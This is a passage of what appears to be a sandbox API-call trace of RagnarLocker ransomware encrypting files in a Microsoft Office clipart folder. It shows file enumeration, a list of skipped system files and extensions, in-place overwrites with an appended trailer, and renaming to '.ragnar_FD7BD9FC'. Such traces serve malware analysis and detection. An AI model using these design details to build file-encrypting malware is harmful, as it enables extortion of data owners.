lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.142] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.142] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.142] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.142] GetProcessHeap () returned 0x580000 [0085.142] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.142] CloseHandle (hObject=0xf4) returned 1 [0085.142] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" [0085.142] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.ragnar_FD7BD9FC" [0085.142] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.143] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x45f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157191.WMF", cAlternateFileName="")) returned 1 [0085.143] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.143] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0157191.WMF" | out: lpString1="J0157191.WMF") returned="J0157191.WMF" [0085.143] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned=".WMF" [0085.143] lstrcmpiW (lpString1="J0157191.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.143] lstrcmpiW (lpString1="J0157191.WMF", lpString2="autorun.inf") returned 1 [0085.143] lstrcmpiW (lpString1="J0157191.WMF", lpString2="boot.ini") returned 1 [0085.143] lstrcmpiW (lpString1="J0157191.WMF", lpString2="bootfont.bin") returned 1 [0085.143] lstrcmpiW (lpString1="J0157191.WMF", lpString2="bootsect.bak") returned 1 [0085.143] lstrcmpiW (lpString1="J0157191.WMF", lpString2="bootmgr") returned 1 [0085.143] lstrcmpiW (lpString1="J0157191.WMF", lpString2="bootmgr.efi") returned 1 [0085.143] lstrcmpiW (lpString1="J0157191.WMF", lpString2="bootmgfw.efi") returned 1 [0085.143] lstrcmpiW (lpString1="J0157191.WMF", lpString2="desktop.ini") returned 1 [0085.143] lstrcmpiW (lpString1="J0157191.WMF", lpString2="iconcache.db") returned 1 [0085.143] lstrcmpiW (lpString1="J0157191.WMF", lpString2="ntldr") returned -1 [0085.143] lstrcmpiW (lpString1="J0157191.WMF", lpString2="ntuser.dat") returned -1 [0085.143] lstrcmpiW (lpString1="J0157191.WMF", lpString2="ntuser.dat.log") returned -1 [0085.144] lstrcmpiW (lpString1="J0157191.WMF", lpString2="ntuser.ini") returned -1 [0085.144] lstrcmpiW (lpString1="J0157191.WMF", lpString2="thumbs.db") returned -1 [0085.144] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.144] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.144] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.144] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.144] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.144] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.144] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf")) returned 0x20 [0085.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.144] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17912) returned 1 [0085.144] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x45ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.144] GetProcessHeap () returned 0x580000 [0085.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.144] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.147] VirtualAlloc (lpAddress=0x0, dwSize=0x45f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.147] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.147] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.147] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x45f8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x45f8, lpOverlapped=0x0) returned 1 [0085.148] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.148] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x45f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.148] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x45f8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x45f8, lpOverlapped=0x0) returned 1 [0085.148] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x45f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.148] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.149] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x45f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.149] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.149] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.149] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.149] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.149] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.149] GetProcessHeap () returned 0x580000 [0085.149] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.149] CloseHandle (hObject=0xf4) returned 1 [0085.149] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" [0085.149] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.ragnar_FD7BD9FC" [0085.149] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.150] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c84, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157831.WMF", cAlternateFileName="")) returned 1 [0085.150] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.150] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0157831.WMF" | out: lpString1="J0157831.WMF") returned="J0157831.WMF" [0085.150] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned=".WMF" [0085.150] lstrcmpiW (lpString1="J0157831.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.150] lstrcmpiW (lpString1="J0157831.WMF", lpString2="autorun.inf") returned 1 [0085.150] lstrcmpiW (lpString1="J0157831.WMF", lpString2="boot.ini") returned 1 [0085.150] lstrcmpiW (lpString1="J0157831.WMF", lpString2="bootfont.bin") returned 1 [0085.150] lstrcmpiW (lpString1="J0157831.WMF", lpString2="bootsect.bak") returned 1 [0085.150] lstrcmpiW (lpString1="J0157831.WMF", lpString2="bootmgr") returned 1 [0085.150] lstrcmpiW (lpString1="J0157831.WMF", lpString2="bootmgr.efi") returned 1 [0085.150] lstrcmpiW (lpString1="J0157831.WMF", lpString2="bootmgfw.efi") returned 1 [0085.150] lstrcmpiW (lpString1="J0157831.WMF", lpString2="desktop.ini") returned 1 [0085.150] lstrcmpiW (lpString1="J0157831.WMF", lpString2="iconcache.db") returned 1 [0085.150] lstrcmpiW (lpString1="J0157831.WMF", lpString2="ntldr") returned -1 [0085.150] lstrcmpiW (lpString1="J0157831.WMF", lpString2="ntuser.dat") returned -1 [0085.151] lstrcmpiW (lpString1="J0157831.WMF", lpString2="ntuser.dat.log") returned -1 [0085.151] lstrcmpiW (lpString1="J0157831.WMF", lpString2="ntuser.ini") returned -1 [0085.151] lstrcmpiW (lpString1="J0157831.WMF", lpString2="thumbs.db") returned -1 [0085.151] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.151] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.151] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.151] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.151] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.151] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.151] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf")) returned 0x20 [0085.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.151] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11396) returned 1 [0085.151] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2c7b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.151] GetProcessHeap () returned 0x580000 [0085.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.151] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.153] VirtualAlloc (lpAddress=0x0, dwSize=0x2c84, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.153] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.153] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.153] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2c84, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2c84, lpOverlapped=0x0) returned 1 [0085.154] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.154] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c84, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.154] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2c84, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2c84, lpOverlapped=0x0) returned 1 [0085.155] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c84, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.155] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.155] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.155] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.155] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.155] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.155] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.155] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.155] GetProcessHeap () returned 0x580000 [0085.155] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.155] CloseHandle (hObject=0xf4) returned 1 [0085.155] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" [0085.155] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.ragnar_FD7BD9FC" [0085.155] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.156] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158071.WMF", cAlternateFileName="")) returned 1 [0085.156] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.156] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0158071.WMF" | out: lpString1="J0158071.WMF") returned="J0158071.WMF" [0085.156] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned=".WMF" [0085.156] lstrcmpiW (lpString1="J0158071.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.156] lstrcmpiW (lpString1="J0158071.WMF", lpString2="autorun.inf") returned 1 [0085.156] lstrcmpiW (lpString1="J0158071.WMF", lpString2="boot.ini") returned 1 [0085.156] lstrcmpiW (lpString1="J0158071.WMF", lpString2="bootfont.bin") returned 1 [0085.156] lstrcmpiW (lpString1="J0158071.WMF", lpString2="bootsect.bak") returned 1 [0085.156] lstrcmpiW (lpString1="J0158071.WMF", lpString2="bootmgr") returned 1 [0085.156] lstrcmpiW (lpString1="J0158071.WMF", lpString2="bootmgr.efi") returned 1 [0085.156] lstrcmpiW (lpString1="J0158071.WMF", lpString2="bootmgfw.efi") returned 1 [0085.156] lstrcmpiW (lpString1="J0158071.WMF", lpString2="desktop.ini") returned 1 [0085.156] lstrcmpiW (lpString1="J0158071.WMF", lpString2="iconcache.db") returned 1 [0085.156] lstrcmpiW (lpString1="J0158071.WMF", lpString2="ntldr") returned -1 [0085.156] lstrcmpiW (lpString1="J0158071.WMF", lpString2="ntuser.dat") returned -1 [0085.156] lstrcmpiW (lpString1="J0158071.WMF", lpString2="ntuser.dat.log") returned -1 [0085.156] lstrcmpiW (lpString1="J0158071.WMF", lpString2="ntuser.ini") returned -1 [0085.156] lstrcmpiW (lpString1="J0158071.WMF", lpString2="thumbs.db") returned -1 [0085.157] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.157] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.157] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.157] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.157] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.157] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.157] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf")) returned 0x20 [0085.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.157] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18652) returned 1 [0085.157] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x48d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.157] GetProcessHeap () returned 0x580000 [0085.157] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.157] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.159] VirtualAlloc (lpAddress=0x0, dwSize=0x48dc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.160] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.160] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.160] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x48dc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x48dc, lpOverlapped=0x0) returned 1 [0085.161] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.161] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x48dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.161] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x48dc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x48dc, lpOverlapped=0x0) returned 1 [0085.161] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x48dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.161] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.161] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x48dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.162] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.162] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.162] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.162] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.162] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.162] GetProcessHeap () returned 0x580000 [0085.162] HeapFree (in: hHeap=0x580000, 